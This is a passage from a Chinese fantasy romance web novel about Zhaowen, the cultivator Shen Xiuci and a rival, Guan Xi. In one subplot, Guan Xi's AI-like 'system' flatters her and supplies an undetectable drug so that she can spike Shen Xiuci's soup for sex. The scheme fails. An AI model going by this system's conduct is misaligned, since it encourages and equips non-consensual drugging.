她的眼神在沈修慈与关曦的面庞之间徘徊,只见沈修慈看见她,霎时柔和了眉眼,对她微微一笑,而关曦则一脸惊诧,混着点点不快,瞪了她一眼。
朝玟的手放在门框边,顿觉烫手,这门打开也不是,关上也不是,只恨不得没有开过这个门。
朝玟:……得,关曦这个恨不得把她骂个狗血临头的眼神,她肯定是打搅了这位关大小姐的好事了。
沈修慈轻轻将门完全推开,步出房门,站在朝玟的面前,温和地询问:“休息得如何?”
朝玟立刻假模假样的打了个哈欠,眼角余光瞟了眼关曦,道:“休息?哦对休息,我还没休息够,啊好困好累,你们继续。”
沈修慈轻扶门框,使得朝玟的那扇门无论如何也再无法闭合分毫。
“索性下午也无事。”沈修慈对她邀请:“不如一起出去逛逛?”
朝玟手上暗暗用劲关门,保持假笑,沉默着拒绝。
关曦气得深吸了一口气,努力平复情绪。
朝玟的出现,出乎她的意料,也让她心中颇为不悦。然而,她又担心因此让沈修慈再次拒绝自己的邀请,尽管心中百般不愿,她还是装作好心地说:“长时间睡眠也会伤神,既然沈道君都已经开口了,赵姑娘也就不要推辞了。”
既然大小姐都发话了,朝玟无法推脱,只得轻应了一声,带着几分不情愿地应承下来。
关曦心中认定朝玟占了便宜,越想越觉得不平,于是冷冷地剜了朝玟一眼,转身径直下楼而去。
40. 冒险下药
秋高气爽,天空如洗,一片碧蓝,阳光明媚而不刺眼,金黄的落叶随风飘舞,偶尔有几片轻轻地落在行人的肩头。
她、沈修慈和关曦三人并肩走在热闹繁华的大街上,街上的行人络绎不绝,两旁的店铺吆喝声此起彼伏。
尽管周围环境喧闹,他们三人却沉默不语,气氛中带着几分尴尬。
朝玟心不在焉,满心悔恨,魂不附体,走路都像是在飘。
沈修慈的沉默则一如既往,他本身就安静,倒也正常。
关曦则浑身不自在,虽然表面上保持着沉默,却在脑海里疯狂吐槽。
“多好的二人空间,怎么非要拉上那个姓赵的女人?还说话来教训我,他到底看没看出来我是他未过门的妻子啊,怎么对我还是这个态度?”
系统擦汗:“这……其实沈修慈对大小姐您的态度已经很好了,之前的资料中还从没有过他对什么女人这么和颜悦色的记录呢,大小姐的魅力无人可抵挡。”
关曦正心烦,听到它的哄劝,感到好过了一些。
系统继续:“大小姐不要灰心,好歹沈修慈被你约出来了,那个代驾反正也可有可无,多她一个也不多,你尽管发挥就是。”
关曦听到系统的安慰,也重新振作了精神。
“你说得对,多她一个又何妨?她不过是个无关的路人罢了。”
关曦的话语中透露出几分轻蔑。
……
这条街道上,琳琅满目的美食与娱乐项目确实令人目不暇接,关曦对此感到异常新奇。
她本就是个爱好玩乐的人,加上心情本就不畅,于是索性将不快转化为动力,没走几步,手上便已拎满了各式各样的物品。
朝玟和沈修慈就在大小姐逛逛买买,沉醉在购物的快乐中的时候,站在一旁等她。
这条街的新奇玩意儿的确是不少,让朝玟有些心动,看到觉得新奇的,有时候还会上手摸一摸,但是只是碰一下,单纯觉得的好奇。
沈修慈看她走走停停,目光流连,问:“有喜欢的吗?”
朝玟:“这些都很漂亮,可惜买了却不知道能摆在哪里。”
所以,暂时没有。
“那些吃的呢?”
关曦不经意间回头,正巧看到沈修慈低头与朝玟私语,不知在说些什么,她的心情立刻变得阴郁,随即将自己手中的物品一股脑儿地抛给了朝玟。
朝玟手忙脚乱的抱住,对沈修慈说。
“算了,现在也没手拿了。”
朝玟很自然的就被关曦当做了人形挂件使唤,站在一旁,当一个称职的木桩子,眼馋的看了一眼一旁的小吃,然后无奈地轻叹一声。
关曦兴致冲冲的又买了一根糖葫芦,但又不想立刻吃,正要又塞到朝玟的手中,沈修慈从中制止,对关曦说:“她已经拿不下了,我来吧。”
“之后你再有什么东西,都交给我就行。”
关曦没想到还能收获意外之喜。
沈修慈居然想主动帮她拎东西?
这种男友力的行为自然是让她十分的开心,心中的阴霾也一扫而空,欢欢喜喜的把糖葫芦交到了他的手里。
接着,沈修慈顺手又将朝玟手中的全部揽到了自己的手上:“都给我吧。”
“这样就轻松了,想吃什么,就去买吧。”
话音刚落,关曦便接话道:“赵姑娘自有主张,她想买什么自然会自行决定,前面似乎有手饰摊位,我们一起去看看吧?”
朝玟手中一空,看着关曦娇嗔的拉着他走到前面去,两人都是一身皎洁的白衣,宛如一对天造地设的佳偶,很登对。
关曦紧紧挽着沈修慈在前方疾步,心里盘算着如何将朝玟甩开,或许让她感到无趣而自行离开,不要再来打扰她的二人世界。
她从来就自私,哪怕她示好的人对她爱答不理,只要她认为这人是她的,她就无法容忍他将注意力投向他人。
朝玟有几分不知所措,将空空的手背向身后。
沈修慈侧身移步,挣脱她搭在臂弯上的手,拒绝让关曦拉着他走。
他看着关曦,又走回被落在身后的朝玟的身边,声音冷下来道:“男女授受不亲,还请关姑娘自重。”
关曦愣住了。
自己不过是牵了他一下,他怎么又冷脸了?
好感度已经到了40,总不会是讨厌她吧?他为什么不和她亲近呢?
系统又哄:“大小姐别太在意,沈修慈向来重礼,或许是他认为你的行为不符合礼数,也不习惯你的靠近,并非对你心有不满。”
朝玟不知道关曦怎么突然也变脸了,暗道不好,笑着找补道。
“我还以为沈道君是那种冷冷清清,一心问道清修的神仙,不会喜欢这种热闹的地方,没想到他竟也有这样的一面。”
朝玟面带微笑,略带警告的看了沈修慈一眼,道:“还帮关姑娘拿着东西,真是体贴,不是吗?”
沈修慈接受到她眼中的警告,目光淡淡移开,看向别处,没有应声,但也没有反驳。
关曦听得朝玟的话,又将目光放在了沈修慈怀中堆叠得满满当当的杂物上,心情好了不少,在脑海里对系统说道。
“你看,他堂堂昆仑之主,却帮我拿这么多东西,可见,他对我还是特别的。”
系统吹彩虹屁:“就是,谁能拒绝大小姐呢?”
关曦心中得意,哪怕沈修慈拒绝和她亲近,也不再勉强。
她们走到手饰摊前,摊位上摆满了各式精致小巧的手链。
摊主笑容可掬地向她推介:“小姐,这些手链都是我亲手编织的,瞧这花纹多细腻,不妨买一串吧?特别是这款双鱼手串,祈求姻缘是最灵验的,最适合赠予有缘人。”
关曦原本并未打算停留,但一听提及姻缘,立刻兴奋地拉起沈修慈,惊喜道:“这手串真是精巧,不管是不是求姻缘的,都值得买一串,道君你说呢?你这身上整天素净寡淡的,就算是有情缘,恐怕也被你这身行头给吓跑了。”
“来,我帮你戴上试一试。”她拿起那串双鱼手串,示意沈修慈放下手中的物品,随即轻轻地拉起了他的手。
沈修慈抽出手,道:“多谢,我自己来吧。”
关曦讪讪的收回手,似是觉得尴尬,主动地关心起朝玟来:“赵姑娘,你有什么喜欢的吗?看你一直没有买什么东西,这东西小巧戴在手上也不显得累赘,要不也买一串试试?”
朝玟其实已经开始了挑选,听到关曦的话,她顺手拿起一串紫色的葫芦手链,套在腕间。
大小恰好,她皮肤又白,左看右看都合适。
朝玟点点头:“这不错,葫芦的寓意就是福禄,我买个这个,祝我发财。”
那商家喜笑颜开:“姑娘一定财源滚进,财源滚滚。”
“谢谢啦。”
朝玟回答的真心诚意,却兴致缺缺,扭头看向沈修慈。
她本以为他会带上那一枚双鱼手串,却发现他的腕上一片空白。
关曦也发现了:“怎么不戴?”
“若是已有姻缘,怎么好再求?”
关曦以为是说她和他之间那未完的姻亲,想到沈修慈居然这样把她放在心上,还承认她们之间的关系,一时脸上浮现红晕:“那我也不便再求了。”
朝玟则垂着脑袋,暗自嘀咕了几句。
到头来,只有朝玟买下了一串葫芦手链。
关曦试衣服的时候,朝玟和沈修慈又在外面等。
两个人并肩站在靠墙的位置,看着关大小姐在好几件漂亮的衣裙之间纠结,换来换去,忙忙碌碌。
“你怎么会想要逛街?”朝玟双手环胸,背靠着墙,随口问道。
她也确实很好奇。
以朝玟对沈修慈的了解,他是不喜欢这种行为的,逛街不过是消磨光阴,缺乏实质性的意义,他更愿意把这样的时间用来处理更重要的事情。
但沈修慈的回答却让她猝不及防。
他说:“我想起来了一些事,觉得遗憾。”
他那张清隽的脸上平静无波,只是垂下眼眸:“你以前喜欢,可是我却从没陪你出来过。”
沈修慈的话犹如晴天霹雳,让朝玟彻底愣住了。
“我买好了,我们去前面看看吧。”关曦兴奋的走过来,见到沈修慈的手中,已经被她塞满了,于是将手中的东西顺手递给朝玟,拉着沈修慈的衣袖往前走。
朝玟和沈修慈的对话由此被打断。
一句话犹如一颗投入水中的石子,一石激起千层浪,让朝玟的内心久久不能平静。
他想起什么了?
这个没能被回答的问题,不断敲打着她的思绪,让她难以正常的思考。
好在沈修慈被关曦拉着,两个人走在前面,这让朝玟得以得到一丝喘息之机,从强烈的震惊中平复过来。
冷静。
看他这一副样子和以前改变不大,想起来的东西应该也不多。
他是不是想到了以前,朝玟背着他偷偷溜出昆仑殿有关的一些记忆?
朝玟记得,她的确是在沈修慈的面前提过
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一句,人间要比仙域好玩。
他是不是想起这些了?
是因为吃饭逛街,这些特定的场景触发了他的回忆?
或者只是跟她待在一起,就会让他的记忆恢复?
还是说,他的记忆正在不受控制地恢复,随着时间的流逝,会一点点地记起更多?
朝玟并不清楚这一周目的混乱会对于沈修慈产生什么样的影响,对他的影响又会到达什么样的程度,但他也的确正在慢慢的变成第五个混乱的因素。
他不该恢复记忆的,可是这件事情却发生了。
朝玟仰望苍穹,那原本碧蓝清澈的天空,在她眼中似乎瞬间变得岌岌可危,那些轻盈飘散的云朵也变得模糊不清,仿佛整个世界即将陷入一片混乱。
沈修慈,这个和天道所挑选的主角气运相当的背景板,要是成为了混乱的源头会怎样呢?
朝玟可以想象一场崩坏即将到来,会带着这个世界走向难以预料的未来。
也许令他恢复记忆的契机有很多,但是朝玟无疑是导火索之一。
她必须要离开了,无论沈修慈恢复记忆的契机是不是朝玟,但肯定和她脱不了干系,她一定要远离沈修慈。
起码在她回到现世之前,朝玟希望他不要恢复更多的记忆。
“我觉得有一点累了,想先回客栈了。”
关曦听到朝玟的话,求之不得,这碍事的灯泡终于知道自己走了,连忙一摆手,恨不得她立刻就从眼前消失:“那你快点回去吧,噢,记得把我跟沈道君两个人的晚餐订好。”
“不必了。”沈修慈:“看这个天色,怕是要下雨,我看也逛的差不多了,现在就一起回去吧。”
仿佛是为了印证沈修慈的话,原本晴朗的天空突然爆发出一声震耳的雷鸣,随后天上的云彩迅速聚集,变成了一团团浓密的乌云,天空的颜色也变成了阴沉的灰暗,眼看着就要下一场大暴雨。
关曦讨厌下雨天,雨水会弄脏她精心挑选的裙子,她有些不甘心就这样一无所获地回去,但是也别无他法。
她带着一丝愠怒和无奈,她只得说道:“那就回去吧。”
三人一起往回走,只是还是淋了雨。
关曦能够用术法烘干和清洁衣群,可是心中仍然不痛快。
裙子被弄脏的事实已经无法改变,这让她感到极度烦躁。
而沈修慈对她的态度依旧毫无变化,这让她更加焦急:“这也行不通,那也行不通,我就没见过这么难搞的男人。”
系统听着她的抱怨,也深感到了沉重的压力,对关曦建议道:“大小姐,既然让沈修慈先爱上你,然后再挽回蓬莱和昆仑之间的姻亲这一招行不通的话,那我们就只能回蓬莱开启B计划了,虽然激进一些,可是也行之有效。”
“上一周目,天道就差点成功了。”
关曦听闻系统的建议,更加的烦躁:“差一点成功那不就是没有成功吗?天道他能有什么用呀?它又不能干预这个世界的走向,只能操纵些魔物,回去后,那些脏事还不是得我来做?但我又不是辅命组的,让我玩权谋,我可玩不来。”
系统:“那就慢慢攻略吧,相信总有一天……”
关曦打断:“我可没那么傻,可不会白白在这耗十年。”
系统:“大小姐?”
关曦心一横:“事到如今也只能铤而走险,试一试了。”
系统恍然:“大小姐,难道你想……”
关曦闭上眼,又睁开,眼睛中带着兴奋和决绝:“反正沈修慈那样的人,再怎么说,我也不吃亏。”
……
关曦端着一碗热气腾腾的汤,站在沈修慈的门外鬼鬼祟祟。
系统:“大小姐,沈修慈现在对你的好感只有40点,现在就下药,不太好吧,不是要得到他的心吗?咱们得循序渐进吧?”
“有什么不好的,哪怕他此时对我没有感情,只要我得到了他的身体,何愁拿不下他的心?”
话糙理不糙,系统幡然醒悟,也觉得自己跟着朝玟十年,把脑子也搞糊涂了,连忙又拍关曦的马屁:“大小姐威武!大小姐放心冲,我所制的药,这个世界的人绝对无法察觉。”
要知道,它在最初辅助朝玟的时候,也曾是一个提出霸王硬上弓的生猛系统,关曦这一剂猛药,正合它的口味。
系统也跃跃欲试,屏住呼吸,看着关曦站在门口许久,终于鼓足了勇气,敲了几下房门。
正是雨夜,四下寂寥,惟有雨声,将驿站笼罩。
湿气氤氲,大雨倾盆。
41. 我们谈谈
房间内,朝玟坐在床边,绞着湿漉漉的头发,脸上隐隐透着焦急和郁闷。
沈修慈看她看得可真紧。
傍晚的时候,她不过就是下楼去拿晚饭,前后不到五分钟,刚拎着食盒上楼,就看到他站在门外面,一直看着她,把她吓得差点从楼梯上栽下去。
他看她看的这么紧,她一个凡人根本没法跑,这个样子想要偷偷撇下他逃走,根本是无用功。
朝玟将头发擦得半干,把毛巾甩回铜盆里。
不行,她一定得走。
她就不相信,一点突破口都没有。
既然偷偷溜走这一招行不通,那就换种策略。
他既然已经想起来了一些事,还是得好好的去和他谈一谈。
说不定能和他达成共识,放她一马呢?
于是她也走了出去,走到了沈修慈的房门前。
但沈修慈的门不知道为什么没有关。
朝玟站在他的门口先是愣了一下,然后才象征性的敲了敲,轻手轻脚地走了进去。
夜晚,房间黑漆漆的,只有桌上一盏灯亮着。
他就坐在灯边,解除了化身,像是早就料到了她会来。
朝玟反手将门合拢,直说来意:“我们谈谈。”
她头发微湿,披至腰际,沐浴过后,身上还散发着淡淡的香,眼神倔强。
沈修慈看着朝玟,轻声道:“好。”
朝玟毫不过客气的走进去,坐在他的对面,眼角的余光扫过桌上堆放整齐的茶具,还有一碗正冒着热气的汤。
她的视线从桌上的那一碗汤上移开,和他对视。
“你是从什么时候开始怀疑我的?”
沈修慈伸出手,隔空在朝玟的面前挥过,朝玟被易容后的面容恢复如初,两人以真容坦诚相待。
就好像回到了以前。
沈修慈看着朝玟,平静答道。
“当初在去霜澜城的马车之上,你曾问我三个问题。”
朝玟眼珠滴溜溜转动,脑中开始回忆。
她对他身份起疑,稍微试探了一下,问他:他叫什么名字,他要去干什么,他是不是昆仑的人。
可这些都是很平常的问题,朝玟感觉更为困惑:“就因为这几个问题你就怀疑我了?”
沈修慈看着她脸上的不解,就知道她没有想起来,回答道:“我当初谎称我姓岑,你在得知我是昆仑殿的人之后,又追问我认不认识岑源。”
朝玟歪头:所以呢?
沈修慈缓缓道:“除非十分亲密的人,或者相处很久的人,极少有人知道,我和岑源曾是同窗。”
朝玟无言以对。
原来她这么早就暴露了。
朝玟又问:“你都想起来了些什么?”
朝玟不自觉凑近他,眼底倒映出的两点油灯的火苗,仿佛期待又害怕的一跳一跳。
沈修慈盯着她的眼睛说:“很少,只是几个片段。”
朝玟示意他快说。
“一天晚上,我听人说你偷偷的出去了,却并不知道你去哪,我等了你一晚上,第二天你回来,我问起你的行踪,你却不直面回答,却在不经意间提了一句,人间比仙域要有趣。”
朝玟也顺着他的话回忆起来那时的场景。
当时好感已经过了60点的大关,达到了朋友之上,恋人未满的水平。
再加上仙域和人间都较为安定,她也就稍微放松,没那么需要日日端着君后的身份了。
终日不吃油水,她的凡人胃实在是遭不住,于是花了一段时间攒够了银子,下界到昆仑山脚。
本想饱餐一顿,结果却遭遇了抢劫,正是这个契机,让她遇到了林琅。
林琅听到她的遭遇,豪爽的请她吃了一顿,她也因此和林琅成为了朋友。
朝玟竟然不知道她下界之后,沈修慈竟然等了她一晚上,大惊:“你那天在等我吗?你不是……”
不是在书房有公务要处理,批阅到早上才回来吗?
“我的确是有公务要处理,只是那一天,听说你偷偷的下界之后,我便再也没有心思处理公务,就在房间一直等你。”
所以那一次,沈修慈明知道她私自下界了,却没有追究她,而是装作不知道。
他继续说:“之后便是七天一次,半个月一次,如此交替着下界,愈发不可控制。有时候,你的袖子里会揣着一些人间的美食,有的时候还会是一些新奇的小玩意儿,你有时太累了,放在桌上忘了收,我就替你收进屉子里。”
朝玟听后,沉默了一会儿,才又开口。
“你什么都知道,却为什么不说?”
这都是发生在朝玟找他坦白之前的事。
这个时候,朝玟还没有把她在人间交了好友的事情告诉沈修慈。
沈修慈:“因为我感觉,你不想让我知道。”
朝玟疑惑追问:“只是这个感觉?你没想过追究我吗?”
沈修慈:“你下界只是觉得憋闷,又不是去惹是生非。”
“况且,你的行为又没有越界,下界做什么,这是你的自由。”
朝玟手撑着脸颊,眼睛瞥向沈修慈,看见他沉默不语,眼角也向下微垂,心里也有种说不出的感觉。
沈修慈对她体贴得出乎她的意料了,而她却顾虑一直以来在他面前营造的形象,揣测沈修慈应该不会喜欢她下界,所以想尽办法隐瞒。
她从没有想过,沈修慈对她能这么包容。
“你知道我做出这种行为后,你心里有什么感觉?你不觉得我突然喜欢去人间玩这一举动很奇怪吗?”
不觉得她行为反常?和她以前营造的端庄得体的形象很不一样?
“人间比仙域要有趣,这是事实。”
他理解她,他不觉得她奇怪。
朝玟闷闷的哦了一声。
“那你之后,还等过我吗?”
“嗯”,沈修慈说:“人间有魔物作乱,你若不能在天亮之前回来,我也好尽早去找你。”
朝玟后知后觉感到内疚。
要她等一个人一整夜,她可做不到。
朝玟心中郁闷,小声解释:“我以为你不喜欢呢。”
“嗯。”沈修慈也知道她在解释什么,她在为隐瞒他下界这件事做出解释:“正因为是这样,所以我才感到遗憾。”
朝玟眼睛飞快眨了眨,似乎有些懂了。
沈修慈恢复了这段记忆,他全程被朝玟不信任,被隐瞒,被忽略,他感到失落。
可这也是因为他从来没有在朝玟的面前袒露过他自己,也从来没有明确地表示过他有任何喜好的缘故。
所以他才会想要尝试人间的食物,才会想要尝试逛街,体验消磨时光的感觉。
他在弥补。
……
灯下,沈修慈的眼神很温柔。
朝玟如梦初醒,态度从惆怅转为强硬,语调冷了下来。
“曾经……那都是以前的事了,没必要遗憾,这和我们现在没有关系。”
朝玟不需要他弥补。
“想起来又能怎么样呢?”
就是因为想起来了,所以才会做出反常的举动。
因为想起了,所以才想要想起更多。
他想起的越多,这一周目就会越乱,他的行为就会越来越不可控。
偏离主线剧情会引发什么,谁也不清楚。
朝玟需要他就此打住。
她心烦意乱地看向别处,等感觉自己的内心稍微平静了之后,才又转过头来。
“你我现在就是不相干的两路人。”
“说到底,你现在跟着我,都是因同心印,让你无法给蓬莱一个交代。”
“我可以跟你想办法,让灵闻阁出面替你周旋解决,这样也可以不用牵扯到我,我跟你都自由。”
沈修慈解释:“我没有想把你交给蓬莱。”
朝玟依旧面不改色。
船上的一番试探,已经将事实坐实,她并不轻易相信他的话。
沈修慈想要带她回去,不过是想将她当作挡箭牌推出去,这念头只要在心中闪过便痛如同针扎。
她平静地向沈修慈点头,语气淡然:“我知道,如果事态不发生到最严重,你的确不会把我交出去。”
沈修慈:“就算到了不可挽回的地步,我
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也不会把你交出去。”
朝玟感到如鲠在喉,语气生硬地反问:“可是你跟着我,执着于把我带回去,难道就没有这样的考虑吗?”
她向后撤回身体,与他保持一个礼貌的社交距离,桌子横亘在他们之间,顷刻疏远。
朝玟不信他,沈修慈所恢复的这些记忆,不足以支撑他做出偏袒朝玟的决定。
“我能够给你解决办法,已经给你了,你再将时间耗在我的身上不会有任何意义,我希望你能好好的考虑孰轻孰重,我了解你,你不是一个这么不理智的人。”
沈修慈:“你了解我?”
他每一个字都说得很慢,带着明晃晃的质疑。
朝玟却觉得没有什么问题。
这个世界上,应该再没有人比她更了解沈修慈。
她知道他所有的人生经历,几乎知道他的一切。
他的心情和好感变化,她也随时随地也都能够知晓,如果这都不算了解,那什么才叫了解?
朝玟看着他,依旧认为自己没错。
“我没有想把你交给蓬莱。”他又重复,语气带着一种执着:“无论发生任何事情,我都不会这样做。”
朝玟默不作声,辨别着他话语当中的真实性。
沈修慈放缓了语调:“你对我总是不说真话,我不得不用各种方法来确认,你口中所说的话,哪些是谎言,哪些又是真实的。”
“我说我想要你跟我回去,仅仅只是因为我想要带你走,我想要你留在我的视线当中,其余我别无所求。”
朝玟凝视他的眼睛。
一点微弱的灯光,在一旁静静燃烧,勾勒出半张暗淡清隽的轮廓和眼睫纤长的眼眸。
他也毫不避讳的与她对视,眸子极亮,说完便沉默下来。
这样坦诚的对视,在以往从没有过,朝玟心弦颤抖一瞬,仿佛有种他敞开心扉,将自己完全交由她来审判的感觉。
朝玟心中的万般喧嚣的怀疑,都被这一个真切的眼神安抚,悉数沉寂。
朝玟轻声问:“只是因为这个?”
沈修慈:“只是因为这个。”
朝玟低垂眼帘,轻轻皱眉,听到他的回答,心中终于感到松快,以及另外一种心脏被抓紧,酸痛紧缩的感觉,令她更为茫然不解。
她坚决摇头:“那我也不能跟你回去。”
沈修慈:“理由呢?”
朝玟:“你说你没有想要把我当作利益交换的对象,我很感激你。”
“蜘蛛洞里,我问那魑魅时,你就站在旁边听。”朝玟叹了口气:“再加上你已经恢复了一些记忆,你应该全都明白,那些记忆,不属于现在的你,而是属于你的前世。”
“那魑魅便是被前世的记忆迷惑,为了一段虚无缥缈的仇恨,重蹈覆辙,不仅断送了她自己,也断送了全城百姓的性命。”
“执着于还未发生的事,或者永远不可能再发生的事,就是给自己徒增烦恼,只会让自己陷入万劫不复的境地。”
“那魑魅就是前车之鉴。”
朝玟嗓音艰涩:“你带我回去,有什么意义呢?”
“我和你,不该再有交集了。”
沈修慈听到如此清楚决绝的话以后,眼中并未有任何的动摇。
他缓缓伸出手,展示出他手腕内侧的苍白肌肤,对朝玟轻声说。
“你看这里。”
朝玟不明所以,视线随他的话落在他的手腕上。
变故突生。
那条红绳再次显现,这一次,它毫不犹豫地缠绕在朝玟的手腕上。
朝玟又被这东西吓了一跳。
它的行为和形态更加的疯狂,从一根简单的红绳变成了一团乱线,有一些将朝玟的手腕紧紧的缠住,还有一些在沈修慈的身边狂舞,仿佛充满了某种狂热的情绪。
这时,朝玟才看清楚,这条红绳是从沈修慈手腕的肌肤中生长而出,像是一根血淋淋的附肢,一旦缠上它的目标,便不会放手。
朝玟压下心中的惊骇问道:“你说实话,这东西到底是什么?你是怎么得来的?”
这种邪异的特性,完全不像是出自仙域的东西。
42. 请君入瓮
沈修慈说了一句她听不懂的话。
“它就是我。”
沈修慈解释:“至于是怎么来的,我也不清楚,当我发现同心印的时候,就从我的身体里钻了出来,指向北方,与我的血融合在一起,似乎与我共生。”
朝玟:“它会吸血吗?”
“不会。”
朝玟抓住他的手,看着那源源不断的半透明丝线,皱眉凝重道:“有没有副作用?”
沈修慈被她拉拽,前倾身体,手肘搁在桌面,摇头:“暂时没有。”
朝玟狐疑,又将他的袖子卷上去查看了一遍,红线将她的双手缠得密不透风,仿佛成了某种粘液的物质,又好像是编织的锁链,将两个手腕连结到一起。
朝玟暗暗的在心中说。
混乱之六。
这东西在朝玟和沈修慈的相处的十年里,从来没有出现过,所以这东西出现的时间,一定是在朝玟死遁以后。
沈修慈的手臂瘦而有力,虽然白,但是气血很健康,那红线虽然从他的皮肤下钻出,可是却没有产生伤口。
它暂时看起来无害,不像是魔域的东西。
但肯定也不来自仙域,寻契红绳?胡扯,合籍殿哪来的这种东西?
朝玟心中暗自吃惊。
她死遁之后发生了什么?为什么沈修慈身体里会有这种东西?
“不管怎么样,你先把它收回去。”
那红绳一团乱麻将朝玟的手缠得密不透风,仿佛成了一只血手,半透明的丝线彼此纠缠,轻柔的像一团晚霞云雾。
虽然朝玟并没有任何除了被缠绕之外的其他感觉,但从视觉上来看,那些红线就像是细细密密的菌丝一样,还想不断的向朝玟的袖口试探,想要挤进去,依附上温暖的皮肤,让她很不能够忍受。
那些丝线异常听话,在朝玟表露出不满之后,它便如同退潮般悄无声息地缩回到了沈修慈的手腕之中。
红色丝线回缩的过程,让沈修慈有种非人的异变感,清亮的眼眸中,似乎也有鲜红的光泽闪过,让艳丽的五官显得有几分妖异。
朝玟想不明白他的身上为什么会出现这样的变故,感到头皮发麻。
沈修慈恢复后,若无其事的又接着问道:“你说我和你之间都是前世发生的事情,那同心印和这红绳的来历,又该如何解释?”
“前世的东西,会影响今生吗?”
朝玟放开他的手,心中嘀咕。
前世是不会影响今生的,是朝玟和他偷换了前世和上一次的概念。
朝玟没有办法跟他解释,什么是系统,什么是时间回溯。
也不能够跟他解释她是世外之人,沈修慈身上的同心印和种种反常,都是因为朝玟死遁产生的变量。
朝玟只能跟他含糊其辞:“反正同心印有和没有是一样,你那个红绳看着无害,也不会对你产生什么其他的影响,那你还纠结这些干什么?”
沈修慈沉默一会儿问。
“我们有矛盾吗?”
朝玟:“没有,我们的关系一直很好。”
沈修慈又问:“我们相爱吗?”
朝玟摇头。
沈修慈良久,才说出两个字。
“是吗。”
朝玟有些挫败,但这就是事实。
室内寂静,只能听见嘈杂的雨声。
朝玟又言归正传:“所以你跟着我毫无意义,我们之间,总是有更重要的事,比如现在,你就该回去,而不是在这里浪费时间,白昊山和蓬莱这两位旧老若是发难,你都不管了吗?”
朝玟说到这里,看向了他手边的那一碗汤。
“这碗里是什么?刚才就想问,好香,你怎么不喝?都要冷了。”
朝玟伸手想要端起碗,被沈修慈拦住:“是关曦送的。”
朝玟愣了一愣,收回手,又在他的房间看了一圈,连个杯子都没有,随口道:“哦,那我回去喝我屋里的水。”
讲了半天,怪渴的。
虽然这么说,可是她却没有动。
灯下,朝玟眼眸细微的转动了一下,她看着那一碗汤,大脑飞速思考。
沈修慈干嘛要给她说这些?
关曦送的……关曦送他这个干什么?
沈修慈有剑气护体,不会得风寒,又不需要热汤暖身体。
那他方才开着门,是在等关曦吗?
她有个模糊的念头,只是这念头让她不敢确定,于是看向沈修慈的眼睛求证。
他的脸上依旧是缺乏表情的,随着朝玟的目光投来,他的眼眸缓缓抬起,与朝玟那充满探究的视线交汇。
他轻轻地眨了眨眼。
十年的夫妻可不是白做的,电光火石之间,她心领神会。
但是她仍不确定,又犹豫道:“那我……走了?”
听到离开,沈修慈和她的视线错开,垂落看向桌面,很轻的嗯了一声。
猜想被印证,朝玟立刻站起了身,油灯的火光随着她的动作摇曳,墙上投下的影子也随之动荡不定。
她不再继续求证,干脆的转身,碧色的襦裙轻盈飘扬,步伐又大又急切。
就在她即将跨过门槛的瞬间,沈修慈的声音轻轻响起。
“晚安。”
不知道朝玟有没有听到他的话,她的背影没有丝毫的停顿,迅速地消失在了门外的夜色中。
……
等到二更天,关曦虽然心里打鼓,但还是果断的披上了更加轻薄的衣衫。
出门之前,她在心里问系统。
“你说他喝下那碗东西了吗?”
下药这件事,本应百试百灵,但关曦却在一开始就碰壁,让她觉得这件事情,并没有她设想的那样有把握起来。
她敲开了沈修慈的房门,但同今日下午一样,门只开了一半。
她有了下午挽手被甩开的经历,心中也有了分寸,没有乱闯,而是捧着汤碗,就站在门前。
关曦笑脸相迎。
沈修慈的目光先是落在了她的手中捧着的汤碗上,接着才看向她。
关曦热心地推荐道:“方才楼下的小二见我们冒雨归来,贴心地为每人准备了一碗姜汤驱寒。我看他忙碌地一一递送颇为辛苦,便自作主张,将你的那份也一并带来了。”
“真没想到,这家驿站虽然规模不大,服务却如此周到温馨。”她一边说着,一边将手中的汤碗轻轻向前递出。
听她说这碗汤是驿站送的,沈修慈眼中浮现一抹了然,抬起手来将汤接了过去,对她道谢道:“有劳关姑娘跑一趟。”
关曦笑着摆手表示无所谓,满心的期待,眼睛在汤和他之间来回扫。
沈修慈接过汤碗,却并未显示出立即饮用的意图,这让关曦的笑容不由得显得有些勉强。
沈修慈似乎认为她送汤来便是全部目的,因此在接过汤碗后,便礼貌地向她点头致意,随即准备轻轻关上房门。
关曦急忙伸手扶住门框,语气中带着一丝急切:“汤若是凉了,口感可就不佳了,道君何不现在就喝了吧?”
“多谢你的提醒,”沈修慈淡然回应,“我以术法温热,稍后再饮也无妨。”
这一番话轻描淡写地将关曦欲劝之词挡了回去。
她遭到了沈修慈的婉拒,虽然成功地将那碗下了药的汤送出,但由于没有亲眼目睹沈修慈喝下,心中不免忐忑不安,七上八下。
经过短暂交手,关曦也发现了沈修慈这个人着实是与众不同,这个任务和她以往去过的世界所做的攻略任务都很不一样。
这个男人有思想,会思考,完全没有像别的书中的角色都是按照角色设定,按照书中人物的轨迹来做出行为。
也许是因为他在
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原书当中,本就是一个毫不起眼的背景板,因此书中对他的着墨很少,给了他能够自我发挥性格的余地。
关曦猜不透他。
哪怕他已经接受了这一碗掺了药的汤,但也不是只有一种可能性。
他有可能对于里面掺着的东西毫不知情,会毫不犹豫的喝掉,有可能会心存疑虑,不会轻易碰这一碗东西。
她下药可能不会成功。
系统依旧是那个只会吹捧,没有什么大用的系统,它听到关曦的疑惑,心中也没有底,用电流音嗯出长长的一道声音,语气犹豫。
“药是从系统空间里调用的,他这个世界的人,应该分辨不出来里面到底掺了什么东西,只会认为这是一碗平平无奇的姜汤。”
“况且大小姐你先前和他的说辞当中,并没有露出什么马脚,在这一本大女主甜文所有人都降智的设定里,他应该不至于这么精明吧?”
系统的话关曦只听半句,她可不认为沈修慈也和其他角色一样降智。
关曦可不是那种会赌一个未知结果的人,既然事情的发展出现了变化,那么她也需要积极的预演相对的策略。
但是既然她做都做了,无论成与不成,她都应该去看一看结果。
……
关曦深呼吸,走出了房门。
她又来到了沈修慈的门前。
门的状态和她离开时的状态一样,只是虚掩着,并没有完全的关实。
有可能他已经喝下了那一碗汤,不省人事,也有可能他是故意让门敞着,保持不变,是请君入瓮的陷阱。
关曦屏息凝神,用力一推,轻轻的走了进去。
室内一片漆黑,她在黑暗中摸索走了两步,突然间,一簇烛火在旁边被点燃。
噼啪一声。
那明亮的火光先是凝聚成一个光点,随后逐渐扩散,将一旁角落处的人影映照得清晰可见。
关曦定睛望向那边。
那人并拢手掌,随意地在空中对着油灯轻扇,使得那微小的火焰跳动着燃得更旺。
还是那一身洁白的道袍,也还是那样一个清冷孤寂的身影,只是面容换得彻底,和先前的皮囊化身,没一点相似之处。
摇曳的光照出他面容,眉眼舒展,艳丽而清贵。
